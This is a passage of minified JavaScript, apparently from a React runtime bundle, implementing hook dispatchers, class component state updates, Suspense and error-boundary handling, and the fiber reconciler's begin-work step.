c=i(),l=I.S;l!==null&&l(s,c),typeof c==`object`&&c&&typeof c.then==`function`?ks(e,t,ua(c,r),fu(e)):ks(e,t,r,fu(e))}catch(n){ks(e,t,{then:function(){},status:`rejected`,reason:n},fu())}finally{L.p=a,o!==null&&s.types!==null&&(o.types=s.types),I.T=o}}function ys(){}function bs(e,t,n,r){if(e.tag!==5)throw Error(i(476));var a=xs(e).queue;vs(e,a,t,R,n===null?ys:function(){return Ss(e),n(r)})}function xs(e){var t=e.memoizedState;if(t!==null)return t;t={memoizedState:R,baseState:R,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:jo,lastRenderedState:R},next:null};var n={};return t.next={memoizedState:n,baseState:n,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:jo,lastRenderedState:n},next:null},e.memoizedState=t,e=e.alternate,e!==null&&(e.memoizedState=t),t}function Ss(e){var t=xs(e);t.next===null&&(t=e.alternate.memoizedState),ks(e,t.next.queue,{},fu())}function Cs(){return Yi(Qf)}function ws(){return Eo().memoizedState}function Ts(){return Eo().memoizedState}function Es(e){for(var t=e.return;t!==null;){switch(t.tag){case 24:case 3:var n=fu();e=La(n);var r=Ra(t,e,n);r!==null&&(mu(r,t,n),za(r,t,n)),t={cache:na()},e.payload=t;return}t=t.return}}function Ds(e,t,n){var r=fu();n={lane:r,revertLane:0,gesture:null,action:n,hasEagerState:!1,eagerState:null,next:null},js(e)?Ms(t,n):(n=Xr(e,t,n,r),n!==null&&(mu(n,e,r),Ns(n,t,r)))}function Os(e,t,n){ks(e,t,n,fu())}function ks(e,t,n,r){var i={lane:r,revertLane:0,gesture:null,action:n,hasEagerState:!1,eagerState:null,next:null};if(js(e))Ms(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,s=a(o,n);if(i.hasEagerState=!0,i.eagerState=s,gr(s,o))return Yr(e,t,i,0),Ll===null&&Jr(),!1}catch{}if(n=Xr(e,t,i,r),n!==null)return mu(n,e,r),Ns(n,t,r),!0}return!1}function As(e,t,n,r){if(r={lane:2,revertLane:ud(),gesture:null,action:r,hasEagerState:!1,eagerState:null,next:null},js(e)){if(t)throw Error(i(479))}else t=Xr(e,n,r,2),t!==null&&mu(t,e,2)}function js(e){var t=e.alternate;return e===K||t!==null&&t===K}function Ms(e,t){lo=co=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function Ns(e,t,n){if(n&4194048){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ze(e,n)}}var Ps={readContext:Yi,use:ko,useCallback:go,useContext:go,useEffect:go,useImperativeHandle:go,useLayoutEffect:go,useInsertionEffect:go,useMemo:go,useReducer:go,useRef:go,useState:go,useDebugValue:go,useDeferredValue:go,useTransition:go,useSyncExternalStore:go,useId:go,useHostTransitionStatus:go,useFormState:go,useActionState:go,useOptimistic:go,useMemoCache:go,useCacheRefresh:go};Ps.useEffectEvent=go;var Fs={readContext:Yi,use:ko,useCallback:function(e,t){return To().memoizedState=[e,t===void 0?null:t],e},useContext:Yi,useEffect:as,useImperativeHandle:function(e,t,n){n=n==null?null:n.concat([e]),rs(4194308,4,ds.bind(null,t,e),n)},useLayoutEffect:function(e,t){return rs(4194308,4,e,t)},useInsertionEffect:function(e,t){rs(4,2,e,t)},useMemo:function(e,t){var n=To();t=t===void 0?null:t;var r=e();if(uo){Pe(!0);try{e()}finally{Pe(!1)}}return n.memoizedState=[r,t],r},useReducer:function(e,t,n){var r=To();if(n!==void 0){var i=n(t);if(uo){Pe(!0);try{n(t)}finally{Pe(!1)}}}else i=t;return r.memoizedState=r.baseState=i,e={pending:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:i},r.queue=e,e=e.dispatch=Ds.bind(null,K,e),[r.memoizedState,e]},useRef:function(e){var t=To();return e={current:e},t.memoizedState=e},useState:function(e){e=Vo(e);var t=e.queue,n=Os.bind(null,K,t);return t.dispatch=n,[e.memoizedState,n]},useDebugValue:ps,useDeferredValue:function(e,t){return gs(To(),e,t)},useTransition:function(){var e=Vo(!1);return e=vs.bind(null,K,e.queue,!0,!1),To().memoizedState=e,[!1,e]},useSyncExternalStore:function(e,t,n){var r=K,a=To();if(G){if(n===void 0)throw Error(i(407));n=n()}else{if(n=t(),Ll===null)throw Error(i(349));X&127||Io(r,t,n)}a.memoizedState=n;var o={value:n,getSnapshot:t};return a.queue=o,as(Ro.bind(null,r,o,e),[e]),r.flags|=2048,ts(9,{destroy:void 0},Lo.bind(null,r,o,n,t),null),n},useId:function(){var e=To(),t=Ll.identifierPrefix;if(G){var n=xi,r=bi;n=(r&~(1<<32-Fe(r)-1)).toString(32)+n,t=`_`+t+`R_`+n,n=fo++,0<n&&(t+=`H`+n.toString(32)),t+=`_`}else n=ho++,t=`_`+t+`r_`+n.toString(32)+`_`;return e.memoizedState=t},useHostTransitionStatus:Cs,useFormState:Xo,useActionState:Xo,useOptimistic:function(e){var t=To();t.memoizedState=t.baseState=e;var n={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return t.queue=n,t=As.bind(null,K,!0,n),n.dispatch=t,[e,t]},useMemoCache:Ao,useCacheRefresh:function(){return To().memoizedState=Es.bind(null,K)},useEffectEvent:function(e){var t=To(),n={impl:e};return t.memoizedState=n,function(){if(J&2)throw Error(i(440));return n.impl.apply(void 0,arguments)}}},Is={readContext:Yi,use:ko,useCallback:ms,useContext:Yi,useEffect:os,useImperativeHandle:fs,useInsertionEffect:ls,useLayoutEffect:us,useMemo:hs,useReducer:Mo,useRef:ns,useState:function(){return Mo(jo)},useDebugValue:ps,useDeferredValue:function(e,t){return _s(Eo(),q.memoizedState,e,t)},useTransition:function(){var e=Mo(jo)[0],t=Eo().memoizedState;return[typeof e==`boolean`?e:Oo(e),t]},useSyncExternalStore:Fo,useId:ws,useHostTransitionStatus:Cs,useFormState:Zo,useActionState:Zo,useOptimistic:function(e,t){return Ho(Eo(),q,e,t)},useMemoCache:Ao,useCacheRefresh:Ts};Is.useEffectEvent=cs;var Ls={readContext:Yi,use:ko,useCallback:ms,useContext:Yi,useEffect:os,useImperativeHandle:fs,useInsertionEffect:ls,useLayoutEffect:us,useMemo:hs,useReducer:Po,useRef:ns,useState:function(){return Po(jo)},useDebugValue:ps,useDeferredValue:function(e,t){var n=Eo();return q===null?gs(n,e,t):_s(n,q.memoizedState,e,t)},useTransition:function(){var e=Po(jo)[0],t=Eo().memoizedState;return[typeof e==`boolean`?e:Oo(e),t]},useSyncExternalStore:Fo,useId:ws,useHostTransitionStatus:Cs,useFormState:es,useActionState:es,useOptimistic:function(e,t){var n=Eo();return q===null?(n.baseState=e,[e,n.queue.dispatch]):Ho(n,q,e,t)},useMemoCache:Ao,useCacheRefresh:Ts};Ls.useEffectEvent=cs;function Rs(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:h({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var zs={enqueueSetState:function(e,t,n){e=e._reactInternals;var r=fu(),i=La(r);i.payload=t,n!=null&&(i.callback=n),t=Ra(e,i,r),t!==null&&(mu(t,e,r),za(t,e,r))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=fu(),i=La(r);i.tag=1,i.payload=t,n!=null&&(i.callback=n),t=Ra(e,i,r),t!==null&&(mu(t,e,r),za(t,e,r))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=fu(),r=La(n);r.tag=2,t!=null&&(r.callback=t),t=Ra(e,r,n),t!==null&&(mu(t,e,n),za(t,e,n))}};function Bs(e,t,n,r,i,a,o){return e=e.stateNode,typeof e.shouldComponentUpdate==`function`?e.shouldComponentUpdate(r,a,o):t.prototype&&t.prototype.isPureReactComponent?!_r(n,r)||!_r(i,a):!0}function Vs(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps==`function`&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps==`function`&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&zs.enqueueReplaceState(t,t.state,null)}function Hs(e,t){var n=t;if(`ref`in t)for(var r in n={},t)r!==`ref`&&(n[r]=t[r]);if(e=e.defaultProps)for(var i in n===t&&(n=h({},n)),e)n[i]===void 0&&(n[i]=e[i]);return n}function Us(e){Wr(e)}function Ws(e){console.error(e)}function Gs(e){Wr(e)}function Ks(e,t){try{var n=e.onUncaughtError;n(t.value,{componentStack:t.stack})}catch(e){setTimeout(function(){throw e})}}function qs(e,t,n){try{var r=e.onCaughtError;r(n.value,{componentStack:n.stack,errorBoundary:t.tag===1?t.stateNode:null})}catch(e){setTimeout(function(){throw e})}}function Js(e,t,n){return n=La(n),n.tag=3,n.payload={element:null},n.callback=function(){Ks(e,t)},n}function Ys(e){return e=La(e),e.tag=3,e}function Xs(e,t,n,r){var i=n.type.getDerivedStateFromError;if(typeof i==`function`){var a=r.value;e.payload=function(){return i(a)},e.callback=function(){qs(t,n,r)}}var o=n.stateNode;o!==null&&typeof o.componentDidCatch==`function`&&(e.callback=function(){qs(t,n,r),typeof i!=`function`&&(nu===null?nu=new Set([this]):nu.add(this));var e=r.stack;this.componentDidCatch(r.value,{componentStack:e===null?``:e})})}function Zs(e,t,n,r,a){if(n.flags|=32768,typeof r==`object`&&r&&typeof r.then==`function`){if(t=n.alternate,t!==null&&Ki(t,n,a,!0),n=Za.current,n!==null){switch(n.tag){case 31:case 13:return Qa===null?Eu():n.alternate===null&&Ul===0&&(Ul=3),n.flags&=-257,n.flags|=65536,n.lanes=a,r===ya?n.flags|=16384:(t=n.updateQueue,t===null?n.updateQueue=new Set([r]):t.add(r),Wu(e,r,a)),!1;case 22:return n.flags|=65536,r===ya?n.flags|=16384:(t=n.updateQueue,t===null?(t={transitions:null,markerInstances:null,retryQueue:new Set([r])},n.updateQueue=t):(n=t.retryQueue,n===null?t.retryQueue=new Set([r]):n.add(r)),Wu(e,r,a)),!1}throw Error(i(435,n.tag))}return Wu(e,r,a),Eu(),!1}if(G)return t=Za.current,t===null?(r!==ji&&(t=Error(i(423),{cause:r}),Ri(fi(t,n))),e=e.current.alternate,e.flags|=65536,a&=-a,e.lanes|=a,r=fi(r,n),a=Js(e.stateNode,r,a),Ba(e,a),Ul!==4&&(Ul=2)):(!(t.flags&65536)&&(t.flags|=256),t.flags|=65536,t.lanes=a,r!==ji&&(e=Error(i(422),{cause:r}),Ri(fi(e,n)))),!1;var o=Error(i(520),{cause:r});if(o=fi(o,n),Yl===null?Yl=[o]:Yl.push(o),Ul!==4&&(Ul=2),t===null)return!0;r=fi(r,n),n=t;do{switch(n.tag){case 3:return n.flags|=65536,e=a&-a,n.lanes|=e,e=Js(n.stateNode,r,e),Ba(n,e),!1;case 1:if(t=n.type,o=n.stateNode,!(n.flags&128)&&(typeof t.getDerivedStateFromError==`function`||o!==null&&typeof o.componentDidCatch==`function`&&(nu===null||!nu.has(o))))return n.flags|=65536,a&=-a,n.lanes|=a,a=Ys(a),Xs(a,e,n,r),Ba(n,a),!1}n=n.return}while(n!==null);return!1}var Qs=Error(i(461)),$s=!1;function ec(e,t,n,r){t.child=e===null?Na(t,null,n,r):Ma(t,e.child,n,r)}function tc(e,t,n,r,i){n=n.render;var a=t.ref;if(`ref`in r){var o={};for(var s in r)s!==`ref`&&(o[s]=r[s])}else o=r;return Ji(t),r=vo(e,t,n,o,a,i),s=So(),e!==null&&!$s?(Co(e,t,i),Tc(e,t,i)):(G&&s&&wi(t),t.flags|=1,ec(e,t,r,i),t.child)}function nc(e,t,n,r,i){if(e===null){var a=n.type;return typeof a==`function`&&!ri(a)&&a.defaultProps===void 0&&n.compare===null?(t.tag=15,t.type=a,rc(e,t,a,r,i)):(e=oi(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(a=e.child,!Ec(e,i)){var o=a.memoizedProps;if(n=n.compare,n=n===null?_r:n,n(o,r)&&e.ref===t.ref)return Tc(e,t,i)}return t.flags|=1,e=ii(a,r),e.ref=t.ref,e.return=t,t.child=e}function rc(e,t,n,r,i){if(e!==null){var a=e.memoizedProps;if(_r(a,r)&&e.ref===t.ref)if($s=!1,t.pendingProps=r=a,Ec(e,i))e.flags&131072&&($s=!0);else return t.lanes=e.lanes,Tc(e,t,i)}return dc(e,t,n,r,i)}function ic(e,t,n,r){var i=r.children,a=e===null?null:e.memoizedState;if(e===null&&t.stateNode===null&&(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),r.mode===`hidden`){if(t.flags&128){if(a=a===null?n:a.baseLanes|n,e!==null){for(r=t.child=e.child,i=0;r!==null;)i=i|r.lanes|r.childLanes,r=r.sibling;r=i&~a}else r=0,t.child=null;return oc(e,t,a,n,r)}if(n&536870912)t.memoizedState={baseLanes:0,cachePool:null},e!==null&&ma(t,a===null?null:a.cachePool),a===null?Ya():Ja(t,a),to(t);else return r=t.lanes=536870912,oc(e,t,a===null?n:a.baseLanes|n,n,r)}else a===null?(e!==null&&ma(t,null),Ya(),no(t)):(ma(t,a.cachePool),Ja(t,a),no(t),t.memoizedState=null);return ec(e,t,i,n),t.child}function ac(e,t){return e!==null&&e.tag===22||t.stateNode!==null||(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),t.sibling}function oc(e,t,n,r,i){var a=pa();return a=a===null?null:{parent:ta._currentValue,pool:a},t.memoizedState={baseLanes:n,cachePool:a},e!==null&&ma(t,null),Ya(),to(t),e!==null&&Ki(e,t,r,!0),t.childLanes=i,null}function sc(e,t){return t=bc({mode:t.mode,children:t.children},e.mode),t.ref=e.ref,e.child=t,t.return=e,t}function cc(e,t,n){return Ma(t,e.child,null,n),e=sc(t,t.pendingProps),e.flags|=2,ro(t),t.memoizedState=null,e}function lc(e,t,n){var r=t.pendingProps,a=(t.flags&128)!=0;if(t.flags&=-129,e===null){if(G){if(r.mode===`hidden`)return e=sc(t,r),t.lanes=536870912,ac(null,e);if(eo(t),(e=Oi)?(e=rf(e,Ai),e=e!==null&&e.data===`&`?e:null,e!==null&&(t.memoizedState={dehydrated:e,treeContext:yi===null?null:{id:bi,overflow:xi},retryLane:536870912,hydrationErrors:null},n=li(e),n.return=t,t.child=n,Di=t,Oi=null)):e=null,e===null)throw Mi(t);return t.lanes=536870912,null}return sc(t,r)}var o=e.memoizedState;if(o!==null){var s=o.dehydrated;if(eo(t),a)if(t.flags&256)t.flags&=-257,t=cc(e,t,n);else if(t.memoizedState!==null)t.child=e.child,t.flags|=128,t=null;else throw Error(i(558));else if($s||Ki(e,t,n,!1),a=(n&e.childLanes)!==0,$s||a){if(r=Ll,r!==null&&(s=Qe(r,n),s!==0&&s!==o.retryLane))throw o.retryLane=s,Zr(e,s),mu(r,e,s),Qs;Eu(),t=cc(e,t,n)}else e=o.treeContext,Oi=cf(s.nextSibling),Di=t,G=!0,ki=null,Ai=!1,e!==null&&Ei(t,e),t=sc(t,r),t.flags|=4096;return t}return e=ii(e.child,{mode:r.mode,children:r.children}),e.ref=t.ref,t.child=e,e.return=t,e}function uc(e,t){var n=t.ref;if(n===null)e!==null&&e.ref!==null&&(t.flags|=4194816);else{if(typeof n!=`function`&&typeof n!=`object`)throw Error(i(284));(e===null||e.ref!==n)&&(t.flags|=4194816)}}function dc(e,t,n,r,i){return Ji(t),n=vo(e,t,n,r,void 0,i),r=So(),e!==null&&!$s?(Co(e,t,i),Tc(e,t,i)):(G&&r&&wi(t),t.flags|=1,ec(e,t,n,i),t.child)}function fc(e,t,n,r,i,a){return Ji(t),t.updateQueue=null,n=bo(t,r,n,i),yo(e),r=So(),e!==null&&!$s?(Co(e,t,a),Tc(e,t,a)):(G&&r&&wi(t),t.flags|=1,ec(e,t,n,a),t.child)}function pc(e,t,n,r,i){if(Ji(t),t.stateNode===null){var a=ei,o=n.contextType;typeof o==`object`&&o&&(a=Yi(o)),a=new n(r,a),t.memoizedState=a.state!==null&&a.state!==void 0?a.state:null,a.updater=zs,t.stateNode=a,a._reactInternals=t,a=t.stateNode,a.props=r,a.state=t.memoizedState,a.refs={},Fa(t),o=n.contextType,a.context=typeof o==`object`&&o?Yi(o):ei,a.state=t.memoizedState,o=n.getDerivedStateFromProps,typeof o==`function`&&(Rs(t,n,o,r),a.state=t.memoizedState),typeof n.getDerivedStateFromProps==`function`||typeof a.getSnapshotBeforeUpdate==`function`||typeof a.UNSAFE_componentWillMount!=`function`&&typeof a.componentWillMount!=`function`||(o=a.state,typeof a.componentWillMount==`function`&&a.componentWillMount(),typeof a.UNSAFE_componentWillMount==`function`&&a.UNSAFE_componentWillMount(),o!==a.state&&zs.enqueueReplaceState(a,a.state,null),Ua(t,r,a,i),Ha(),a.state=t.memoizedState),typeof a.componentDidMount==`function`&&(t.flags|=4194308),r=!0}else if(e===null){a=t.stateNode;var s=t.memoizedProps,c=Hs(n,s);a.props=c;var l=a.context,u=n.contextType;o=ei,typeof u==`object`&&u&&(o=Yi(u));var d=n.getDerivedStateFromProps;u=typeof d==`function`||typeof a.getSnapshotBeforeUpdate==`function`,s=t.pendingProps!==s,u||typeof a.UNSAFE_componentWillReceiveProps!=`function`&&typeof a.componentWillReceiveProps!=`function`||(s||l!==o)&&Vs(t,a,r,o),Pa=!1;var f=t.memoizedState;a.state=f,Ua(t,r,a,i),Ha(),l=t.memoizedState,s||f!==l||Pa?(typeof d==`function`&&(Rs(t,n,d,r),l=t.memoizedState),(c=Pa||Bs(t,n,c,r,f,l,o))?(u||typeof a.UNSAFE_componentWillMount!=`function`&&typeof a.componentWillMount!=`function`||(typeof a.componentWillMount==`function`&&a.componentWillMount(),typeof a.UNSAFE_componentWillMount==`function`&&a.UNSAFE_componentWillMount()),typeof a.componentDidMount==`function`&&(t.flags|=4194308)):(typeof a.componentDidMount==`function`&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=l),a.props=r,a.state=l,a.context=o,r=c):(typeof a.componentDidMount==`function`&&(t.flags|=4194308),r=!1)}else{a=t.stateNode,Ia(e,t),o=t.memoizedProps,u=Hs(n,o),a.props=u,d=t.pendingProps,f=a.context,l=n.contextType,c=ei,typeof l==`object`&&l&&(c=Yi(l)),s=n.getDerivedStateFromProps,(l=typeof s==`function`||typeof a.getSnapshotBeforeUpdate==`function`)||typeof a.UNSAFE_componentWillReceiveProps!=`function`&&typeof a.componentWillReceiveProps!=`function`||(o!==d||f!==c)&&Vs(t,a,r,c),Pa=!1,f=t.memoizedState,a.state=f,Ua(t,r,a,i),Ha();var p=t.memoizedState;o!==d||f!==p||Pa||e!==null&&e.dependencies!==null&&qi(e.dependencies)?(typeof s==`function`&&(Rs(t,n,s,r),p=t.memoizedState),(u=Pa||Bs(t,n,u,r,f,p,c)||e!==null&&e.dependencies!==null&&qi(e.dependencies))?(l||typeof a.UNSAFE_componentWillUpdate!=`function`&&typeof a.componentWillUpdate!=`function`||(typeof a.componentWillUpdate==`function`&&a.componentWillUpdate(r,p,c),typeof a.UNSAFE_componentWillUpdate==`function`&&a.UNSAFE_componentWillUpdate(r,p,c)),typeof a.componentDidUpdate==`function`&&(t.flags|=4),typeof a.getSnapshotBeforeUpdate==`function`&&(t.flags|=1024)):(typeof a.componentDidUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof a.getSnapshotBeforeUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=p),a.props=r,a.state=p,a.context=c,r=u):(typeof a.componentDidUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof a.getSnapshotBeforeUpdate!=`function`||o===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),r=!1)}return a=r,uc(e,t),r=(t.flags&128)!=0,a||r?(a=t.stateNode,n=r&&typeof n.getDerivedStateFromError!=`function`?null:a.render(),t.flags|=1,e!==null&&r?(t.child=Ma(t,e.child,null,i),t.child=Ma(t,null,n,i)):ec(e,t,n,i),t.memoizedState=a.state,e=t.child):e=Tc(e,t,i),e}function mc(e,t,n,r){return Ii(),t.flags|=256,ec(e,t,n,r),t.child}var hc={dehydrated:null,treeContext:null,retryLane:0,hydrationErrors:null};function gc(e){return{baseLanes:e,cachePool:ha()}}function _c(e,t,n){return e=e===null?0:e.childLanes&~n,t&&(e|=ql),e}function vc(e,t,n){var r=t.pendingProps,a=!1,o=(t.flags&128)!=0,s;if((s=o)||(s=e!==null&&e.memoizedState===null?!1:(io.current&2)!=0),s&&(a=!0,t.flags&=-129),s=(t.flags&32)!=0,t.flags&=-33,e===null){if(G){if(a?$a(t):no(t),(e=Oi)?(e=rf(e,Ai),e=e!==null&&e.data!==`&`?e:null,e!==null&&(t.memoizedState={dehydrated:e,treeContext:yi===null?null:{id:bi,overflow:xi},retryLane:536870912,hydrationErrors:null},n=li(e),n.return=t,t.child=n,Di=t,Oi=null)):e=null,e===null)throw Mi(t);return of(e)?t.lanes=32:t.lanes=536870912,null}var c=r.children;return r=r.fallback,a?(no(t),a=t.mode,c=bc({mode:`hidden`,children:c},a),r=si(r,a,n,null),c.return=t,r.return=t,c.sibling=r,t.child=c,r=t.child,r.memoizedState=gc(n),r.childLanes=_c(e,s,n),t.memoizedState=hc,ac(null,r)):($a(t),yc(t,c))}var l=e.memoizedState;if(l!==null&&(c=l.dehydrated,c!==null)){if(o)t.flags&256?($a(t),t.flags&=-257,t=xc(e,t,n)):t.memoizedState===null?(no(t),c=r.fallback,a=t.mode,r=bc({mode:`visible`,children:r.children},a),c=si(c,a,n,null),c.flags|=2,r.return=t,c.return=t,r.sibling=c,t.child=r,Ma(t,e.child,null,n),r=t.child,r.memoizedState=gc(n),r.childLanes=_c(e,s,n),t.memoizedState=hc,t=ac(null,r)):(no(t),t.child=e.child,t.flags|=128,t=null);else if($a(t),of(c)){if(s=c.nextSibling&&c.nextSibling.dataset,s)var u=s.dgst;s=u,r=Error(i(419)),r.stack=``,r.digest=s,Ri({value:r,source:null,stack:null}),t=xc(e,t,n)}else if($s||Ki(e,t,n,!1),s=(n&e.childLanes)!==0,$s||s){if(s=Ll,s!==null&&(r=Qe(s,n),r!==0&&r!==l.retryLane))throw l.retryLane=r,Zr(e,r),mu(s,e,r),Qs;af(c)||Eu(),t=xc(e,t,n)}else af(c)?(t.flags|=192,t.child=e.child,t=null):(e=l.treeContext,Oi=cf(c.nextSibling),Di=t,G=!0,ki=null,Ai=!1,e!==null&&Ei(t,e),t=yc(t,r.children),t.flags|=4096);return t}return a?(no(t),c=r.fallback,a=t.mode,l=e.child,u=l.sibling,r=ii(l,{mode:`hidden`,children:r.children}),r.subtreeFlags=l.subtreeFlags&65011712,u===null?(c=si(c,a,n,null),c.flags|=2):c=ii(u,c),c.return=t,r.return=t,r.sibling=c,t.child=r,ac(null,r),r=t.child,c=e.child.memoizedState,c===null?c=gc(n):(a=c.cachePool,a===null?a=ha():(l=ta._currentValue,a=a.parent===l?a:{parent:l,pool:l}),c={baseLanes:c.baseLanes|n,cachePool:a}),r.memoizedState=c,r.childLanes=_c(e,s,n),t.memoizedState=hc,ac(e.child,r)):($a(t),n=e.child,e=n.sibling,n=ii(n,{mode:`visible`,children:r.children}),n.return=t,n.sibling=null,e!==null&&(s=t.deletions,s===null?(t.deletions=[e],t.flags|=16):s.push(e)),t.child=n,t.memoizedState=null,n)}function yc(e,t){return t=bc({mode:`visible`,children:t},e.mode),t.return=e,e.child=t}function bc(e,t){return e=ni(22,e,null,t),e.lanes=0,e}function xc(e,t,n){return Ma(t,e.child,null,n),e=yc(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function Sc(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),Wi(e.return,t,n)}function Cc(e,t,n,r,i,a){var o=e.memoizedState;o===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:i,treeForkCount:a}:(o.isBackwards=t,o.rendering=null,o.renderingStartTime=0,o.last=r,o.tail=n,o.tailMode=i,o.treeForkCount=a)}function wc(e,t,n){var r=t.pendingProps,i=r.revealOrder,a=r.tail;r=r.children;var o=io.current,s=(o&2)!=0;if(s?(o=o&1|2,t.flags|=128):o&=1,B(io,o),ec(e,t,r,n),r=G?gi:0,!s&&e!==null&&e.flags&128)a:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&Sc(e,n,t);else if(e.tag===19)Sc(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break a;for(;e.sibling===null;){if(e.return===null||e.return===t)break a;e=e.return}e.sibling.return=e.return,e=e.sibling}switch(i){case`forwards`:for(n=t.child,i=null;n!==null;)e=n.alternate,e!==null&&ao(e)===null&&(i=n),n=n.sibling;n=i,n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null),Cc(t,!1,i,n,a,r);break;case`backwards`:case`unstable_legacy-backwards`:for(n=null,i=t.child,t.child=null;i!==null;){if(e=i.alternate,e!==null&&ao(e)===null){t.child=i;break}e=i.sibling,i.sibling=n,n=i,i=e}Cc(t,!0,n,null,a,r);break;case`together`:Cc(t,!1,null,null,void 0,r);break;default:t.memoizedState=null}return t.child}function Tc(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),Wl|=t.lanes,(n&t.childLanes)===0)if(e!==null){if(Ki(e,t,n,!1),(n&t.childLanes)===0)return null}else return null;if(e!==null&&t.child!==e.child)throw Error(i(153));if(t.child!==null){for(e=t.child,n=ii(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=ii(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function Ec(e,t){return(e.lanes&t)===0?(e=e.dependencies,!!(e!==null&&qi(e))):!0}function Dc(e,t,n){switch(t.tag){case 3:se(t,t.stateNode.containerInfo),Hi(t,ta,e.memoizedState.cache),Ii();break;case 27:case 5:le(t);break;case 4:se(t,t.stateNode.containerInfo);break;case 10:Hi(t,t.type,t.memoizedProps.value);break;case 31:if(t.memoizedState!==null)return t.flags|=128,eo(t),null;break;case 13:var r=t.memoizedState;if(r!==null)return r.dehydrated===null?(n&t.child.childLanes)===0?($a(t),e=Tc(e,t,n),e===null?null:e.sibling):vc(e,t,n):($a(t),t.flags|=128,null);$a(t);break;case 19:var i=(e.flags&128)!=0;if(r=(n&t.childLanes)!==0,r||=(Ki(e,t,n,!1),(n&t.childLanes)!==0),i){if(r)return wc(e,t,n);t.flags|=128}if(i=t.memoizedState,i!==null&&(i.rendering=null,i.tail=null,i.lastEffect=null),B(io,io.current),r)break;return null;case 22:return t.lanes=0,ic(e,t,n,t.pendingProps);case 24:Hi(t,ta,e.memoizedState.cache)}return Tc(e,t,n)}function Oc(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps)$s=!0;else{if(!Ec(e,n)&&!(t.flags&128))return $s=!1,Dc(e,t,n);$s=!!(e.flags&131072)}else $s=!1,G&&t.flags&1048576&&Ci(t,gi,t.index);switch(t.lanes=0,t.tag){case 16:a:{var r=t.pendingProps;if(e=Sa(t.elementType),t.type=e,typeof e==`function`)ri(e)?(r=Hs(e,r),t.tag=1,t=pc(null,t,e,r,n)):(t.tag=0,t=dc(null,t,e,r,n));else{if(e!=null){var a=e.$$typeof;if(a===w){t.tag=11,t=tc(null,t,e,r,n);break a}else if(a===D){t.tag=14,t=nc(null,t,e,r,n);break a}}throw t=P(e)||e,Error(i(306,t,``))}}return t;case 0:return dc(e,t,t.type,t.pendingProps,n);case 1:return r=t.type,a=Hs(r,t.pendingProps),pc(e,t,r,a,n);case 3:a:{if(se(t,t.stateNode.containerInfo),e===null)throw Error(i(387));r=t.pendingProps;var o=t.memoizedState;a=o.element,Ia(e,t),Ua(t,r,null,n);var s=t.memoizedState;if(r=s.cache,Hi(t,ta,r),r!==o.cache&&Gi(t,[ta],n,!0),Ha(),r=s.element,o.isDehydrated)if(o={element:r,isDehydrated:!1,cache:s.cache},t.updateQueue.baseState=o,t.memoizedState=o,t.flags&256){t=mc(e,t,r,n);break a}else if(r!==a){a=fi(Error(i(424)),t),Ri(a),t=mc(e,t,r,n);break a}else{switch(e=t.stateNode.containerInfo,e.nodeType){case 9:e=e.body;break;default:e=e.nodeName===`HTML`?e.ownerDocument.body:e}for(Oi=cf(e.firstChild),Di=t,G=!0,ki=null,Ai=!0,n=Na(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling}else{if(Ii(),r===a){t=Tc(e,t,n);break a}ec(e,t,r,n)}t=t.child}return t;case 26:return uc(e,t),e===null?(n=kf(t.type,null,t.pendingProps,null))?t.memoizedState=n:G||(n=t.type,e=t.pendingProps,r=Bd(ae.current).createElement(n),r[it]=t,r[at]=e,Pd(r,n,e),_t(r),t.stateNode=r):t.memoizedState=kf(t.type,e.memoizedProps,t.pendingProps,e.memoizedState),null;case 27:return le(t),e===null&&G&&(r=t.stateNode=ff(t.type,t.pendingProps,ae.current),Di=t,Ai=!0,a=Oi,Zd(t.type)?(lf=a,Oi=cf(r.firstChild)):Oi=a),ec(e,t,t.pendingProps.children,n),uc(e,t),e===null&&(t.flags|=4194304),t.child;case 5:return 